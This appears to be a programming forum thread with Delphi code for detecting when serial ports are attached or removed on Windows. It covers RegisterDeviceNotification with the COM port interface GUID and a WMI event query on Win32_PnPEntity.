dbcc_devicetype: DWORD;
dbcc_reserved: DWORD;
dbcc_classguid: TGUID;
dbcc_name: Char;
end;
TDevBroadcastDeviceInterface = DEV_BROADCAST_DEVICEINTERFACE;
const
DBT_DEVICESOMETHING = $0007;
DBT_DEVICEARRIVAL = $8000;
DBT_DEVICEREMOVECOMPLETE = $8004;
DBT_DEVTYP_DEVICEINTERFACE = $00000005;
type
TDeviceNotifyProc = procedure(Sender: TObject; const DeviceName: String) of Object;
TDeviceNotifier = class
private
hRecipient: HWND;
FNotificationHandle: Pointer;
FDeviceArrival: TDeviceNotifyProc;
FDeviceRemoval: TDeviceNotifyProc;
FOnWin: TProc;
procedure WndProc(var Msg: TMessage);
public
constructor Create(GUID_DEVINTERFACE : TGUID);
property OnDeviceArrival: TDeviceNotifyProc read FDeviceArrival write FDeviceArrival;
property OnDeviceRemoval: TDeviceNotifyProc read FDeviceRemoval write FDeviceRemoval;
destructor Destroy; override;
property OnWin: TProc read FOnWin write FOnWin;
end;
TForm1 = class(TForm)
Memo: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
DeviceNotifier : TDeviceNotifier;
public
{ Public declarations }
procedure arrival(Sender: TObject; const DeviceName: String);
procedure report (text: string);
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
constructor TDeviceNotifier.Create(GUID_DEVINTERFACE : TGUID);
var
NotificationFilter: TDevBroadcastDeviceInterface;
begin
inherited Create;
hRecipient := AllocateHWnd(WndProc);
ZeroMemory (#NotificationFilter, SizeOf(NotificationFilter));
NotificationFilter.dbcc_size := SizeOf(NotificationFilter);
NotificationFilter.dbcc_devicetype := DBT_DEVTYP_DEVICEINTERFACE;
NotificationFilter.dbcc_classguid := GUID_DEVINTERFACE;
//register the device class to monitor
FNotificationHandle := RegisterDeviceNotification(hRecipient, #NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);
end;
procedure TDeviceNotifier.WndProc(var Msg: TMessage);
var
Dbi: PDevBroadcastDeviceInterface;
begin
OnWin (Format ('msg = %d, wparam = %d, lparam = %d', [msg.Msg, msg.WParam, msg.LParam]));
with Msg do
if (Msg = WM_DEVICECHANGE) and ((WParam = DBT_DEVICEARRIVAL) or (WParam = DBT_DEVICEREMOVECOMPLETE) or
(WParam = DBT_DEVICESOMETHING)) then
try
Dbi := PDevBroadcastDeviceInterface (LParam);
if Dbi.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE then
begin
if WParam = DBT_DEVICEARRIVAL then
begin
if Assigned(FDeviceArrival) then
FDeviceArrival(Self, PChar(#Dbi.dbcc_name));
end
else
if WParam = DBT_DEVICEREMOVECOMPLETE then
begin
if Assigned(FDeviceRemoval) then
FDeviceRemoval(Self, PChar(#Dbi.dbcc_name));
end;
end;
except
Result := DefWindowProc(hRecipient, Msg, WParam, LParam);
end
else
Result := DefWindowProc(hRecipient, Msg, WParam, LParam);
end;
destructor TDeviceNotifier.Destroy;
begin
UnregisterDeviceNotification(FNotificationHandle);
DeallocateHWnd(hRecipient);
inherited;
end;
procedure TForm1.arrival(Sender: TObject; const DeviceName: String);
begin
report (DeviceName);
ShowMessage(DeviceName);
end;
procedure TForm1.FormCreate(Sender: TObject);
const
GUID_DEVINTERFACE_COMPORT : TGUID = '{86E0D1E0-8089-11D0-9CE4-08003E301F73}';
begin
DeviceNotifier:=TDeviceNotifier.Create(GUID_DEVINTERFACE_COMPORT);
DeviceNotifier.FDeviceArrival:=arrival;
DeviceNotifier.OnWin := report;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
DeviceNotifier.Free;
end;
procedure TForm1.report (text: string);
begin
Memo.Lines.Add (text);
end;
end.
You can use the RegisterDeviceNotification WinAPI function passing the DEV_BROADCAST_DEVICEINTERFACE structure with the GUID_DEVINTERFACE_COMPORT device interface class.
Try this sample.
type
PDevBroadcastHdr = ^DEV_BROADCAST_HDR;
DEV_BROADCAST_HDR = packed record
dbch_size: DWORD;
dbch_devicetype: DWORD;
dbch_reserved: DWORD;
end;
TDevBroadcastHdr = DEV_BROADCAST_HDR;
type
PDevBroadcastDeviceInterface = ^DEV_BROADCAST_DEVICEINTERFACE;
DEV_BROADCAST_DEVICEINTERFACE = record
dbcc_size: DWORD;
dbcc_devicetype: DWORD;
dbcc_reserved: DWORD;
dbcc_classguid: TGUID;
dbcc_name: Char;
end;
TDevBroadcastDeviceInterface = DEV_BROADCAST_DEVICEINTERFACE;
const
DBT_DEVICEARRIVAL = $8000;
DBT_DEVICEREMOVECOMPLETE = $8004;
DBT_DEVTYP_DEVICEINTERFACE = $00000005;
type
TDeviceNotifyProc = procedure(Sender: TObject; const DeviceName: String) of Object;
TDeviceNotifier = class
private
hRecipient: HWND;
FNotificationHandle: Pointer;
FDeviceArrival: TDeviceNotifyProc;
FDeviceRemoval: TDeviceNotifyProc;
procedure WndProc(var Msg: TMessage);
public
constructor Create(GUID_DEVINTERFACE : TGUID);
property OnDeviceArrival: TDeviceNotifyProc read FDeviceArrival write FDeviceArrival;
property OnDeviceRemoval: TDeviceNotifyProc read FDeviceRemoval write FDeviceRemoval;
destructor Destroy; override;
end;
type
TForm17 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
DeviceNotifier : TDeviceNotifier;
public
{ Public declarations }
procedure arrival(Sender: TObject; const DeviceName: String);
end;
var
Form17: TForm17;
implementation
{$R *.dfm}
constructor TDeviceNotifier.Create(GUID_DEVINTERFACE : TGUID);
var
NotificationFilter: TDevBroadcastDeviceInterface;
begin
inherited Create;
hRecipient := AllocateHWnd(WndProc);
ZeroMemory(#NotificationFilter, SizeOf(NotificationFilter));
NotificationFilter.dbcc_size := SizeOf(NotificationFilter);
NotificationFilter.dbcc_devicetype := DBT_DEVTYP_DEVICEINTERFACE;
NotificationFilter.dbcc_classguid := GUID_DEVINTERFACE;
//register the device class to monitor
FNotificationHandle := RegisterDeviceNotification(hRecipient, #NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);
end;
procedure TDeviceNotifier.WndProc(var Msg: TMessage);
var
Dbi: PDevBroadcastDeviceInterface;
begin
with Msg do
if (Msg = WM_DEVICECHANGE) and ((WParam = DBT_DEVICEARRIVAL) or (WParam = DBT_DEVICEREMOVECOMPLETE)) then
try
Dbi := PDevBroadcastDeviceInterface(LParam);
if Dbi.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE then
begin
if WParam = DBT_DEVICEARRIVAL then
begin
if Assigned(FDeviceArrival) then
FDeviceArrival(Self, PChar(#Dbi.dbcc_name));
end
else
if WParam = DBT_DEVICEREMOVECOMPLETE then
begin
if Assigned(FDeviceRemoval) then
FDeviceRemoval(Self, PChar(#Dbi.dbcc_name));
end;
end;
except
Result := DefWindowProc(hRecipient, Msg, WParam, LParam);
end
else
Result := DefWindowProc(hRecipient, Msg, WParam, LParam);
end;
destructor TDeviceNotifier.Destroy;
begin
UnregisterDeviceNotification(FNotificationHandle);
DeallocateHWnd(hRecipient);
inherited;
end;
procedure TForm17.arrival(Sender: TObject; const DeviceName: String);
begin
ShowMessage(DeviceName);
end;
procedure TForm17.FormCreate(Sender: TObject);
const
GUID_DEVINTERFACE_COMPORT : TGUID = '{86E0D1E0-8089-11D0-9CE4-08003E301F73}';
begin
DeviceNotifier:=TDeviceNotifier.Create(GUID_DEVINTERFACE_COMPORT);
DeviceNotifier.FDeviceArrival:=arrival;
end;
procedure TForm17.FormDestroy(Sender: TObject);
begin
DeviceNotifier.Free;
end;
end.
Another option is use the WMI Events, on this case using the __InstanceCreationEvent Event and the Win32_PnPEntity WMI class you can filter the serial ports added using the {4d36e978-e325-11ce-bfc1-08002be10318} class GUID, writting a WQL sentence like so
Select * From __InstanceCreationEvent Within 1 Where TargetInstance ISA "Win32_PnPEntity" AND TargetInstance.ClassGuid="{4d36e978-e325-11ce-bfc1-08002be10318}"
Try this sample
{$APPTYPE CONSOLE}
{$R *.res}
uses
Windows,
{$IF CompilerVersion > 18.5}
Forms,
{$IFEND}
SysUtils,
ActiveX,
ComObj,
WbemScripting_TLB;
type
TWmiAsyncEvent = class
private
FWQL : string;
FSink : TSWbemSink;
FLocator : ISWbemLocator;
FServices : ISWbemServices;
procedure EventReceived(ASender: TObject; const objWbemObject: ISWbemObject; const objWbemAsyncContext: ISWbemNamedValueSet);
public
procedure Start;
constructor Create;
Destructor Destroy;override;
end;
//Detect when a key was pressed in the console window
function KeyPressed:Boolean;
var
lpNumberOfEvents : DWORD;
lpBuffer : TInputRecord;
lpNumberOfEventsRead : DWORD;
nStdHandle : THandle;
begin
Result:=false;
nStdHandle := GetStdHandle(STD_INPUT_HANDLE);
lpNumberOfEvents:=0;
GetNumberOfConsoleInputEvents(nStdHandle,lpNumberOfEvents);
if lpNumberOfEvents<> 0 then
begin
PeekConsoleInput(nStdHandle,lpBuffer,1,lpNumberOfEventsRead);
if lpNumberOfEventsRead <> 0 then
begin
if lpBuffer.EventType = KEY_EVENT then
begin
if lpBuffer.Event.KeyEvent.bKeyDown then
Result:=true
else
FlushConsoleInputBuffer(nStdHandle);
end
else
FlushConsoleInputBuffer(nStdHandle);
end;
end;
end;
{ TWmiAsyncEvent }
constructor TWmiAsyncEvent.Create;
const
strServer ='.';
strNamespace ='root\CIMV2';
strUser ='';
strPassword ='';
begin
inherited Create;
CoInitializeEx(nil, COINIT_MULTITHREADED);
FLocator := CoSWbemLocator.Create;
FServices := FLocator.ConnectServer(strServer, strNamespace, strUser, strPassword, '', '', wbemConnectFlagUseMaxWait, nil);
FSink := TSWbemSink.Create(nil);
FSink.OnObjectReady := EventReceived;
FWQL:='Select * From __InstanceCreationEvent Within 1 '+
'Where TargetInstance ISA "Win32_PnPEntity" AND TargetInstance.ClassGuid="{4d36e978-e325-11ce-bfc1-08002be10318}" ';
end;
destructor TWmiAsyncEvent.Destroy;
begin
if FSink<>nil then
FSink.Cancel;
FLocator :=nil;
FServices :=nil;
FSink :=nil;
CoUninitialize;
inherited;
end;
procedure TWmiAsyncEvent.EventReceived(ASender: TObject;
const objWbemObject: ISWbemObject;
const objWbemAsyncContext: ISWbemNamedValueSet);
var
PropVal: OLEVariant;
begin
PropVal := objWbemObject;
Writeln(Format('TargetInstance.ClassGuid : %s ',[String(PropVal.TargetInstance.ClassGuid)]));
Writeln(Format('TargetInstance.Description : %s ',[String(PropVal.TargetInstance.Description)]));
Writeln(Format('TargetInstance.Name : %s ',[String(PropVal.TargetInstance.Name)]));
Writeln(Format('TargetInstance.PNPDeviceID : %s ',[String(PropVal.TargetInstance.PNPDeviceID)]));
Writeln(Format('TargetInstance.Status : %s ',[String(PropVal.TargetInstance.Status)]));
end;
procedure TWmiAsyncEvent.Start;
begin
Writeln('Listening events...Press Any key to exit');
FServices.ExecNotificationQueryAsync(FSink.DefaultInterface,FWQL,'WQL', 0, nil, nil);
end;
var
AsyncEvent : TWmiAsyncEvent;
begin
try
AsyncEvent:=TWmiAsyncEvent.Create;
try
AsyncEvent.Start;
//The next loop is only necessary in this sample console sample app
//In VCL forms Apps you don't need use a loop
while not KeyPressed do
begin
{$IF CompilerVersion > 18.5}
Sleep(100);
Application.ProcessMessages;
{$IFEND}
end;
finally
AsyncEvent.Free;
end;
except
on E:EOleException do
Writeln(Format('EOleException %s %x', [E.Message,E.ErrorCode]));
on E:Exception do
Writeln(E.Classname, ':', E.Message);
end;
end.